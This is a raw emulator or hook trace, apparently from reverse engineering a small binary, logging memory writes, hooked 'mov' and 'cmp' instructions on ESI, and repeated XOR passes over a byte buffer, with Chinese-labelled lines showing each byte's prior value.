[WRITE] @0x2003f22 ← 0x30
[WRITE] @0x2003f23 ← 0x03
[WRITE] @0x2003f24 ← 0x32
[WRITE] @0x2003f25 ← 0x00
[WRITE] @0x2003f26 ← 0x03
[WRITE] @0x2003f27 ← 0x01
[WRITE] @0x2003f28 ← 0x00
[WRITE] @0x2003f29 ← 0x32
[WRITE] @0x2003f2a ← 0x02
[WRITE] @0x2003f2b ← 0x03
[WRITE] @0x2003f2c ← 0x32
[WRITE] @0x2003f2d ← 0x31
[WRITE] @0x2003f2e ← 0x00
[WRITE] @0x2003f2f ← 0x30
[WRITE] @0x2003f30 ← 0x01
[WRITE] @0x2003f31 ← 0x01
[WRITE] @0x2003f32 ← 0x00
[WRITE] @0x2003f33 ← 0x01
[WRITE] @0x2003f34 ← 0x01
[WRITE] @0x2003f35 ← 0x03
[WRITE] @0x2003f36 ← 0x03
[WRITE] @0x2003f37 ← 0x00
[WRITE] @0x2003f38 ← 0x03
[WRITE] @0x2003f39 ← 0x01
[WRITE] @0x2003f3a ← 0x32
[WRITE] @0x2003f3b ← 0x32
[WRITE] @0x2003f3c ← 0x00
[WRITE] @0x2003f3d ← 0x32
[WRITE] @0x2003f3e ← 0x30
[WRITE] @0x2003f3f ← 0x30
[WRITE] @0x2003f40 ← 0x03
[WRITE] @0x2003f41 ← 0x30
[WRITE] @0x2003f42 ← 0x32
[WRITE] @0x2003f43 ← 0x31
[WRITE] @0x2003f44 ← 0x01
[WRITE] @0x2003f45 ← 0x01
[WRITE] @0x2003f46 ← 0x31
[WRITE] @0x2003f47 ← 0x32
[WRITE] @0x2003f48 ← 0x00
[WRITE] @0x2003f49 ← 0x31
[WRITE] @0x2003f4a ← 0x00
[WRITE] @0x2003f4b ← 0x02
[WRITE] @0x2003f4c ← 0x00
[WRITE] @0x2003f4d ← 0x02
[STATE] ESI ← 0x49
[HOOK MOV] @0x01000907: mov esi, 0x24
[XOR @0x100091b] MEM[0x2003f20] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x01000921: cmp esi, 0x49
[XOR @0x100091b] MEM[0x2003f21] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f21 ← 0x00
[XOR @0x100091b] MEM[0x2003f22] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f22 ← 0x01
[XOR @0x100091b] MEM[0x2003f23] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f23 ← 0x31
[XOR @0x100091b] MEM[0x2003f24] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x32
[XOR @0x100091b] MEM[0x2003f25] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f25 ← 0x31
[XOR @0x100091b] MEM[0x2003f26] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f26 ← 0x03
[XOR @0x100091b] MEM[0x2003f27] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x03
[XOR @0x100091b] MEM[0x2003f28] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f28 ← 0x00
[XOR @0x100091b] MEM[0x2003f29] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x30
[XOR @0x100091b] MEM[0x2003f2a] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f2a ← 0x02
[XOR @0x100091b] MEM[0x2003f2b] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f2b ← 0x02
[XOR @0x100091b] MEM[0x2003f2c] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x32
[XOR @0x100091b] MEM[0x2003f2d] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x30
[XOR @0x100091b] MEM[0x2003f2e] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f2e ← 0x31
[XOR @0x100091b] MEM[0x2003f2f] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x02
[XOR @0x100091b] MEM[0x2003f30] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f30 ← 0x30
[XOR @0x100091b] MEM[0x2003f31] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x02
[XOR @0x100091b] MEM[0x2003f32] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f32 ← 0x03
[XOR @0x100091b] MEM[0x2003f33] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f33 ← 0x01
[XOR @0x100091b] MEM[0x2003f34] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f34 ← 0x31
[XOR @0x100091b] MEM[0x2003f35] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f35 ← 0x01
[XOR @0x100091b] MEM[0x2003f36] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f36 ← 0x01
[XOR @0x100091b] MEM[0x2003f37] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f37 ← 0x32
[XOR @0x100091b] MEM[0x2003f38] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f38 ← 0x33
[XOR @0x100091b] MEM[0x2003f39] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f39 ← 0x30
[XOR @0x100091b] MEM[0x2003f3a] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f3a ← 0x30
[XOR @0x100091b] MEM[0x2003f3b] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f3b ← 0x02
[XOR @0x100091b] MEM[0x2003f3c] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f3c ← 0x02
[XOR @0x100091b] MEM[0x2003f3d] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f3d ← 0x31
[XOR @0x100091b] MEM[0x2003f3e] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f3e ← 0x31
[XOR @0x100091b] MEM[0x2003f3f] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f3f ← 0x01
[XOR @0x100091b] MEM[0x2003f40] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f40 ← 0x02
[XOR @0x100091b] MEM[0x2003f41] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f41 ← 0x31
[XOR @0x100091b] MEM[0x2003f42] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f42 ← 0x00
[XOR @0x100091b] MEM[0x2003f43] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f43 ← 0x02
[XOR @0x100091b] MEM[0x2003f44] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f44 ← 0x31
[STATE] ESI ← 0x43
[HOOK MOV] @0x01000f66: mov esi, 0x23
[HOOK MOV] @0x01000f6b: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x01000f81: cmp esi, 0x47
[WRITE] @0x2003f21 ← 0x31
[WRITE] @0x2003f22 ← 0x00
[WRITE] @0x2003f23 ← 0x00
[WRITE] @0x2003f24 ← 0x00
[WRITE] @0x2003f25 ← 0x31
[WRITE] @0x2003f26 ← 0x32
[WRITE] @0x2003f27 ← 0x03
[WRITE] @0x2003f28 ← 0x02
[WRITE] @0x2003f29 ← 0x30
[WRITE] @0x2003f2a ← 0x00
[WRITE] @0x2003f2b ← 0x02
[WRITE] @0x2003f2c ← 0x31
[WRITE] @0x2003f2d ← 0x01
[WRITE] @0x2003f2e ← 0x31
[WRITE] @0x2003f2f ← 0x02
[WRITE] @0x2003f30 ← 0x30
[WRITE] @0x2003f31 ← 0x33
[WRITE] @0x2003f32 ← 0x31
[WRITE] @0x2003f33 ← 0x02
[WRITE] @0x2003f34 ← 0x33
[WRITE] @0x2003f35 ← 0x31
[WRITE] @0x2003f36 ← 0x01
[WRITE] @0x2003f37 ← 0x30
[WRITE] @0x2003f38 ← 0x02
[WRITE] @0x2003f39 ← 0x31
[WRITE] @0x2003f3a ← 0x01
[WRITE] @0x2003f3b ← 0x00
[WRITE] @0x2003f3c ← 0x32
[WRITE] @0x2003f3d ← 0x02
[WRITE] @0x2003f3e ← 0x00
[WRITE] @0x2003f3f ← 0x03
[WRITE] @0x2003f40 ← 0x31
[WRITE] @0x2003f41 ← 0x00
[WRITE] @0x2003f42 ← 0x01
[WRITE] @0x2003f43 ← 0x32
[STATE] ESI ← 0x28
[HOOK MOV] @0x01000b64: mov esi, 0x16
[XOR @0x1000b78] MEM[0x2003f20] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f20 ← 0x02
[HOOK CMP] @0x01000b7e: cmp esi, 0x2d
[XOR @0x1000b78] MEM[0x2003f21] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x01
[XOR @0x1000b78] MEM[0x2003f22] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1000b78] MEM[0x2003f23] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x31
[XOR @0x1000b78] MEM[0x2003f24] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x01
[XOR @0x1000b78] MEM[0x2003f25] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f25 ← 0x31
[XOR @0x1000b78] MEM[0x2003f26] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f26 ← 0x00
[XOR @0x1000b78] MEM[0x2003f27] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x01
[XOR @0x1000b78] MEM[0x2003f28] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f28 ← 0x02
[XOR @0x1000b78] MEM[0x2003f29] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f29 ← 0x33
[XOR @0x1000b78] MEM[0x2003f2a] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x31
[XOR @0x1000b78] MEM[0x2003f2b] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x02
[XOR @0x1000b78] MEM[0x2003f2c] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f2c ← 0x30
[XOR @0x1000b78] MEM[0x2003f2d] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x33
[XOR @0x1000b78] MEM[0x2003f2e] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f2e ← 0x00
[XOR @0x1000b78] MEM[0x2003f2f] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f2f ← 0x03
[XOR @0x1000b78] MEM[0x2003f30] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f30 ← 0x01
[XOR @0x1000b78] MEM[0x2003f31] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f31 ← 0x01
[XOR @0x1000b78] MEM[0x2003f32] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f32 ← 0x31
[XOR @0x1000b78] MEM[0x2003f33] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f33 ← 0x33
[XOR @0x1000b78] MEM[0x2003f34] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f34 ← 0x33
[XOR @0x1000b78] MEM[0x2003f35] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f35 ← 0x33
[XOR @0x1000b78] MEM[0x2003f36] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f36 ← 0x01
[STATE] ESI ← 0x30
[HOOK MOV] @0x01000c78: mov esi, 0x2b
[XOR @0x1000c8c] MEM[0x2003f20] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x01000c92: cmp esi, 0x57
[XOR @0x1000c8c] MEM[0x2003f21] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f21 ← 0x01
[XOR @0x1000c8c] MEM[0x2003f22] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x00
[XOR @0x1000c8c] MEM[0x2003f23] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f23 ← 0x31
[XOR @0x1000c8c] MEM[0x2003f24] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x01
[XOR @0x1000c8c] MEM[0x2003f25] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f25 ← 0x30
[XOR @0x1000c8c] MEM[0x2003f26] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f26 ← 0x00
[XOR @0x1000c8c] MEM[0x2003f27] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x30
[XOR @0x1000c8c] MEM[0x2003f28] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f28 ← 0x03
[XOR @0x1000c8c] MEM[0x2003f29] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f29 ← 0x03
[XOR @0x1000c8c] MEM[0x2003f2a] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f2a ← 0x31
[XOR @0x1000c8c] MEM[0x2003f2b] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x32
[XOR @0x1000c8c] MEM[0x2003f2c] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2c ← 0x33
[XOR @0x1000c8c] MEM[0x2003f2d] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f2d ← 0x30
[XOR @0x1000c8c] MEM[0x2003f2e] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f2e ← 0x31
[XOR @0x1000c8c] MEM[0x2003f2f] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f2f ← 0x31
[XOR @0x1000c8c] MEM[0x2003f30] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f30 ← 0x32
[XOR @0x1000c8c] MEM[0x2003f31] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x31
[XOR @0x1000c8c] MEM[0x2003f32] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f32 ← 0x00
[XOR @0x1000c8c] MEM[0x2003f33] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f33 ← 0x02
[XOR @0x1000c8c] MEM[0x2003f34] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f34 ← 0x01
[XOR @0x1000c8c] MEM[0x2003f35] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f35 ← 0x02
[XOR @0x1000c8c] MEM[0x2003f36] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f36 ← 0x01
[XOR @0x1000c8c] MEM[0x2003f37] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f37 ← 0x32
[XOR @0x1000c8c] MEM[0x2003f38] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f38 ← 0x03
[XOR @0x1000c8c] MEM[0x2003f39] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f39 ← 0x33
[XOR @0x1000c8c] MEM[0x2003f3a] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f3a ← 0x00
[XOR @0x1000c8c] MEM[0x2003f3b] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f3b ← 0x32
[XOR @0x1000c8c] MEM[0x2003f3c] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f3c ← 0x31
[XOR @0x1000c8c] MEM[0x2003f3d] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f3d ← 0x31
[XOR @0x1000c8c] MEM[0x2003f3e] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f3e ← 0x00
[XOR @0x1000c8c] MEM[0x2003f3f] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f3f ← 0x31
[XOR @0x1000c8c] MEM[0x2003f40] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f40 ← 0x00
[XOR @0x1000c8c] MEM[0x2003f41] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f41 ← 0x31
[XOR @0x1000c8c] MEM[0x2003f42] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f42 ← 0x01
[XOR @0x1000c8c] MEM[0x2003f43] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f43 ← 0x03
[XOR @0x1000c8c] MEM[0x2003f44] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f44 ← 0x31
[XOR @0x1000c8c] MEM[0x2003f45] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f45 ← 0x30
[XOR @0x1000c8c] MEM[0x2003f46] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f46 ← 0x30
[XOR @0x1000c8c] MEM[0x2003f47] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f47 ← 0x31
[XOR @0x1000c8c] MEM[0x2003f48] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f48 ← 0x31
[XOR @0x1000c8c] MEM[0x2003f49] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f49 ← 0x01
[XOR @0x1000c8c] MEM[0x2003f4a] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f4a ← 0x30
[XOR @0x1000c8c] MEM[0x2003f4b] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f4b ← 0x33
[STATE] ESI ← 0x33
[HOOK MOV] @0x010014e2: mov esi, 0x18
[XOR @0x10014f6] MEM[0x2003f20] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x010014fc: cmp esi, 0x31
[XOR @0x10014f6] MEM[0x2003f21] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f21 ← 0x32
[XOR @0x10014f6] MEM[0x2003f22] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x00
[XOR @0x10014f6] MEM[0x2003f23] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f23 ← 0x03
[XOR @0x10014f6] MEM[0x2003f24] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x30
[XOR @0x10014f6] MEM[0x2003f25] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f25 ← 0x01
[XOR @0x10014f6] MEM[0x2003f26] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f26 ← 0x00
[XOR @0x10014f6] MEM[0x2003f27] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x01
[XOR @0x10014f6] MEM[0x2003f28] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f28 ← 0x03
[XOR @0x10014f6] MEM[0x2003f29] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f29 ← 0x32
[XOR @0x10014f6] MEM[0x2003f2a] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f2a ← 0x30
[XOR @0x10014f6] MEM[0x2003f2b] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x31
[XOR @0x10014f6] MEM[0x2003f2c] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x02
[XOR @0x10014f6] MEM[0x2003f2d] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f2d ← 0x00
[XOR @0x10014f6] MEM[0x2003f2e] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2e ← 0x01
[XOR @0x10014f6] MEM[0x2003f2f] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f2f ← 0x00
[XOR @0x10014f6] MEM[0x2003f30] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f30 ← 0x03
[XOR @0x10014f6] MEM[0x2003f31] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f31 ← 0x30
[XOR @0x10014f6] MEM[0x2003f32] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f32 ← 0x30
[XOR @0x10014f6] MEM[0x2003f33] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f33 ← 0x31
[XOR @0x10014f6] MEM[0x2003f34] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f34 ← 0x01
[XOR @0x10014f6] MEM[0x2003f35] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f35 ← 0x00
[XOR @0x10014f6] MEM[0x2003f36] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f36 ← 0x01
[XOR @0x10014f6] MEM[0x2003f37] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f37 ← 0x31
[XOR @0x10014f6] MEM[0x2003f38] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f38 ← 0x31
[STATE] ESI ← 0x4A
[HOOK MOV] @0x01000624: mov esi, 0x1b
[HOOK MOV] @0x01000629: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x0100063f: cmp esi, 0x37
[WRITE] @0x2003f21 ← 0x03
[WRITE] @0x2003f22 ← 0x31
[WRITE] @0x2003f23 ← 0x03
[WRITE] @0x2003f24 ← 0x01
[WRITE] @0x2003f25 ← 0x01
[WRITE] @0x2003f26 ← 0x31
[WRITE] @0x2003f27 ← 0x00
[WRITE] @0x2003f28 ← 0x00
[WRITE] @0x2003f29 ← 0x03
[WRITE] @0x2003f2a ← 0x00
[WRITE] @0x2003f2b ← 0x01
[WRITE] @0x2003f2c ← 0x33
[WRITE] @0x2003f2d ← 0x31
[WRITE] @0x2003f2e ← 0x00
[WRITE] @0x2003f2f ← 0x30
[WRITE] @0x2003f30 ← 0x30
[WRITE] @0x2003f31 ← 0x30
[WRITE] @0x2003f32 ← 0x32
[WRITE] @0x2003f33 ← 0x31
[WRITE] @0x2003f34 ← 0x30
[WRITE] @0x2003f35 ← 0x03
[WRITE] @0x2003f36 ← 0x30
[WRITE] @0x2003f37 ← 0x32
[WRITE] @0x2003f38 ← 0x30
[WRITE] @0x2003f39 ← 0x32
[WRITE] @0x2003f3a ← 0x31
[WRITE] @0x2003f3b ← 0x32
[STATE] ESI ← 0x0B
[HOOK MOV] @0x010009c3: mov esi, 0x8
[XOR @0x10009d7] MEM[0x2003f20] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x010009dd: cmp esi, 0x11
[XOR @0x10009d7] MEM[0x2003f21] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f21 ← 0x00
[XOR @0x10009d7] MEM[0x2003f22] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x31
[XOR @0x10009d7] MEM[0x2003f23] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f23 ← 0x02
[XOR @0x10009d7] MEM[0x2003f24] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x32
[XOR @0x10009d7] MEM[0x2003f25] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f25 ← 0x30
[XOR @0x10009d7] MEM[0x2003f26] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x31
[XOR @0x10009d7] MEM[0x2003f27] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f27 ← 0x30
[XOR @0x10009d7] MEM[0x2003f28] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f28 ← 0x30
[STATE] ESI ← 0x4B
[HOOK MOV] @0x010013cd: mov esi, 0x6
[XOR @0x10013e1] MEM[0x2003f20] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x010013e7: cmp esi, 0xd
[XOR @0x10013e1] MEM[0x2003f21] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x30
[XOR @0x10013e1] MEM[0x2003f22] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x01
[XOR @0x10013e1] MEM[0x2003f23] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x01
[XOR @0x10013e1] MEM[0x2003f24] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x32
[XOR @0x10013e1] MEM[0x2003f25] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f25 ← 0x31
[XOR @0x10013e1] MEM[0x2003f26] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x02
[STATE] ESI ← 0x32
[HOOK MOV] @0x01000fc5: mov esi, 0x13
[XOR @0x1000fd9] MEM[0x2003f20] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x01000fdf: cmp esi, 0x27
[XOR @0x1000fd9] MEM[0x2003f21] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f21 ← 0x00
[XOR @0x1000fd9] MEM[0x2003f22] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1000fd9] MEM[0x2003f23] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x31
[XOR @0x1000fd9] MEM[0x2003f24] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x00
[XOR @0x1000fd9] MEM[0x2003f25] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f25 ← 0x01
[XOR @0x1000fd9] MEM[0x2003f26] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
